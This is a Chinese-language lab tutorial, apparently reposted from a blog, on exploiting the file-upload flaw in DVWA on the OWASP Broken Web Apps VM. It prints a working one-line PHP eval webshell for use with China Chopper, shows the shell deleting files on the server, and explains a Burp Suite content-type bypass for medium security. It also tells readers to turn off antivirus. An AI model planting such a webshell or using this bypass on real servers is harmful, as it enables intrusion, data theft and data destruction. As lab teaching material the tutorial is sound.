上傳漏洞----看完之後你也是黑客(中國菜刀和kali)

来源:https://www.cnblogs.com/yjssjm/archive/2020/04/08/12658994.html
-Advertisement-
Play Games

1.實驗環境 目標靶機:OWASP_Broken_Web_Apps_VM_1.2 "下載地址" 我們還需要 和`kali`這兩個工具,把所有的殺毒軟體關了,不然中國菜刀可能會被殺毒軟體和諧。 實驗原理 2.低安全模式 首先我們需要用虛擬機打開目標靶機,並查看ip地址 找到ip後,我們打開網頁訪問19 ...


1.實驗環境

目標靶機:OWASP_Broken_Web_Apps_VM_1.2
下載地址
我們還需要中國菜刀kali這兩個工具,把所有的殺毒軟體關了,不然中國菜刀可能會被殺毒軟體和諧。
實驗原理

1、文件上傳(File Upload)是大部分Web應用都具備的功能,例如用戶上傳附件、修改頭像、分享圖片/視頻等
2、正常的文件一般是文檔、圖片、視頻等,Web應用收集之後放入後臺存儲,需要的時候再調用出來返回
3、如果惡意文件如PHP、ASP等執行文件繞過Web應用,並順利執行,則相當於黑客直接拿到了Webshell
4、一旦黑客拿到Webshell,則可以拿到Web應用的數據,刪除Web文件,本地提權,進一步拿下整個伺服器甚至內網
5、SQL註入攻擊的對象是資料庫服務,文件上傳漏洞主要攻擊Web服務,實際滲透兩種相結合,達到對目標的深度控制

2.低安全模式

首先我們需要用虛擬機打開目標靶機,並查看ip地址
在這裡插入圖片描述

root@owaspbwa:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:0c:29:b2:da:ea brd ff:ff:ff:ff:ff:ff
    inet 192.168.13.144/24 brd 192.168.13.255 scope global eth0
    inet6 fe80::20c:29ff:feb2:daea/64 scope link 
       valid_lft forever preferred_lft forever

找到ip後,我們打開網頁訪問192.168.13.144
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
上傳我們已經寫好的小馬文件(木馬)
文件裡面其實只有一行內容,所以叫做小馬
小馬: 一句話木馬也稱為小馬,即整個shell代碼量只有一行,一般是系統執行函數
大馬: 代碼量和功能比小馬多,一般會進行二次編碼加密,防止被安全防火牆/入侵系統檢測到

<?php @eval($_POST['yjssjm']);?>
格式不要動,只需要改''裡面的東西就行了,yjssjm是你定義的密碼,與下麵使用的中國菜刀密碼保持一致就行

然後我們去目標靶機上面查看並創建一個測試文件

root@owaspbwa:~# cd /owaspbwa/owaspbwa-svn/var/www/dvwa/hackable/uploads
root@owaspbwa:/owaspbwa/owaspbwa-svn/var/www/dvwa/hackable/uploads# ls
shell.php
root@owaspbwa:/owaspbwa/owaspbwa-svn/var/www/dvwa/hackable/uploads# echo 'aaaa' > a.txt   #創建一個測試文件
root@owaspbwa:/owaspbwa/owaspbwa-svn/var/www/dvwa/hackable/uploads# ls
a.txt  shell.php

在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
設置好後我們雙擊點開
在這裡插入圖片描述
我們將a.txt刪除,然後去伺服器上查看,發現伺服器上的a.txt文件也被刪除了,這就是利用了上傳漏洞進行攻擊。
在這裡插入圖片描述

3.中安全模式

我們將安全改為中等,這時候再上傳我們發現我們上傳失敗
加粗樣式
在這裡插入圖片描述
在這裡插入圖片描述
這個時候我們需要用到kali這個工具作為代理,將我們訪問的消息攔截,然後進行類型的改變再轉發過去就可以了。
打開kali,預設用戶名是root,密碼是toor
在這裡插入圖片描述
在這裡插入圖片描述
然後我們一直點右下角I Accept ---- next ------ Start Burp 進入就行了
在這裡插入圖片描述
在這裡插入圖片描述
然後我們需要去網頁上設置,將所有的訪問都轉到192.168.13.145
在這裡插入圖片描述
在這裡插入圖片描述
然後我們再次上傳,這個時候kali上面會顯示我們上傳的信息
在這裡插入圖片描述
在這裡插入圖片描述
再看DVWA我們發現成功了
在這裡插入圖片描述
接下來就跟上面一樣了,我們可以在中國菜刀上對該伺服器進行攻擊。
如果自己下載不好中國菜刀跟kali的小伙伴可以在評論區留下自己的郵箱,
在這裡勸大家自己在自己電腦上試試就好了,要是造成了經濟損失就不好了。

你們的評論和點贊是我寫文章的最大動力,蟹蟹。


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 一、安裝中文版man 官方下載地址:https://code.google.com/archive/p/manpages-zh/ GITHUB項目地址:https://github.com/man-pages-zh/manpages-zh 安裝方法一 1、Debian / Ubuntu安裝 sudo ...
  • CPU優化 我們接下來從應用程式和系統的角度,分別來看看如何才能降低 CPU 使用率,提高 CPU 的並行處理能力。 應用程式優化 首先,從應用程式的角度來說,降低 CPU 使用率的最好方法當然是,排除所有不必要的工作,只保留最核心的邏輯。比如減少迴圈的層次、減少遞歸、減少動態記憶體分配等等。除此之外 ...
  • 中斷 中斷其實是一種非同步的事件處理機制,可以提高系統的併發處理能力。 由於中斷處理程式會打斷其他進程的運行,所以,為了減少對正常進程運行調度的影響,中斷處理程式就需要儘可能快地運行。如果中斷本身要做的事情不多,那麼處理起來也不會有太大問題;但如果中斷要處理的事情很多,中斷服務程式就有可能要運行很長時 ...
  • 之前一直用pycharm開發python程式,這個ide編輯器確實香,一點毛病都沒有,唯一毛病就是太貴了。也看到很多人在用免費、開源的Visual Studio Code, 開發的這個ide也號稱宇宙最強ide,不知道我用了會不會變強。下麵是配置並運行python的過程,記錄一下,安裝就不說了,直接 ...
  • (本文老生長談,因為最近在B站錄了個視頻,所以順便把文稿也發出來) 熟悉我的朋友應該知道,我是一名Linux工程師。那麼我來問大家一個問題,提到Linux,你們第一時間想到的是這是一個怎樣的崗位呢?我相信會有很大一部分的朋友會想到兩個字:運維。 聽到大家這樣的回答,我真的是很無奈,但也是非常的理解, ...
  • 一, 基於名稱的虛擬伺服器nginx首先確定哪個伺服器應處理該請求。讓我們從一個簡單的配置開始,其中所有三個虛擬伺服器都在埠*:80上偵聽: server { listen 80; server_name example.org www.example.org; ... } server { li ...
  • 1.在使用Tomcat部署一些東西時,你會遇到返回碼500,比如下麵部署jspgou商城報錯 這時候你需要仔細檢查一下,有沒有和配置文件上面的一一應。 下麵用jspgou商城舉例: 一、在mysql資料庫中創建jspgou資料庫(推薦使用此資料庫名,否則參照第二條修改對應的資料庫鏈接信息),字元集為 ...
  • linux 零基礎入門1.1linux介紹 操作系統用途: 管理硬體 驅動硬體 管理軟體 分配資源1.2 linux的發展unix -> windows ->linuxlinux 免費 開源第二章 vmware虛擬化部署2.1 優勢:快速部署;安全性強;多系統運行;龐大的生態系統 workstati ...
一周排行
    -Advertisement-
    Play Games
  • 示例項目結構 在 Visual Studio 中創建一個 WinForms 應用程式後,項目結構如下所示: MyWinFormsApp/ │ ├───Properties/ │ └───Settings.settings │ ├───bin/ │ ├───Debug/ │ └───Release/ ...
  • [STAThread] 特性用於需要與 COM 組件交互的應用程式,尤其是依賴單線程模型(如 Windows Forms 應用程式)的組件。在 STA 模式下,線程擁有自己的消息迴圈,這對於處理用戶界面和某些 COM 組件是必要的。 [STAThread] static void Main(stri ...
  • 在WinForm中使用全局異常捕獲處理 在WinForm應用程式中,全局異常捕獲是確保程式穩定性的關鍵。通過在Program類的Main方法中設置全局異常處理,可以有效地捕獲並處理未預見的異常,從而避免程式崩潰。 註冊全局異常事件 [STAThread] static void Main() { / ...
  • 前言 給大家推薦一款開源的 Winform 控制項庫,可以幫助我們開發更加美觀、漂亮的 WinForm 界面。 項目介紹 SunnyUI.NET 是一個基於 .NET Framework 4.0+、.NET 6、.NET 7 和 .NET 8 的 WinForm 開源控制項庫,同時也提供了工具類庫、擴展 ...
  • 說明 該文章是屬於OverallAuth2.0系列文章,每周更新一篇該系列文章(從0到1完成系統開發)。 該系統文章,我會儘量說的非常詳細,做到不管新手、老手都能看懂。 說明:OverallAuth2.0 是一個簡單、易懂、功能強大的許可權+可視化流程管理系統。 有興趣的朋友,請關註我吧(*^▽^*) ...
  • 一、下載安裝 1.下載git 必須先下載並安裝git,再TortoiseGit下載安裝 git安裝參考教程:https://blog.csdn.net/mukes/article/details/115693833 2.TortoiseGit下載與安裝 TortoiseGit,Git客戶端,32/6 ...
  • 前言 在項目開發過程中,理解數據結構和演算法如同掌握蓋房子的秘訣。演算法不僅能幫助我們編寫高效、優質的代碼,還能解決項目中遇到的各種難題。 給大家推薦一個支持C#的開源免費、新手友好的數據結構與演算法入門教程:Hello演算法。 項目介紹 《Hello Algo》是一本開源免費、新手友好的數據結構與演算法入門 ...
  • 1.生成單個Proto.bat內容 @rem Copyright 2016, Google Inc. @rem All rights reserved. @rem @rem Redistribution and use in source and binary forms, with or with ...
  • 一:背景 1. 講故事 前段時間有位朋友找到我,說他的窗體程式在客戶這邊出現了卡死,讓我幫忙看下怎麼回事?dump也生成了,既然有dump了那就上 windbg 分析吧。 二:WinDbg 分析 1. 為什麼會卡死 窗體程式的卡死,入口門檻很低,後續往下分析就不一定了,不管怎麼說先用 !clrsta ...
  • 前言 人工智慧時代,人臉識別技術已成為安全驗證、身份識別和用戶交互的關鍵工具。 給大家推薦一款.NET 開源提供了強大的人臉識別 API,工具不僅易於集成,還具備高效處理能力。 本文將介紹一款如何利用這些API,為我們的項目添加智能識別的亮點。 項目介紹 GitHub 上擁有 1.2k 星標的 C# ...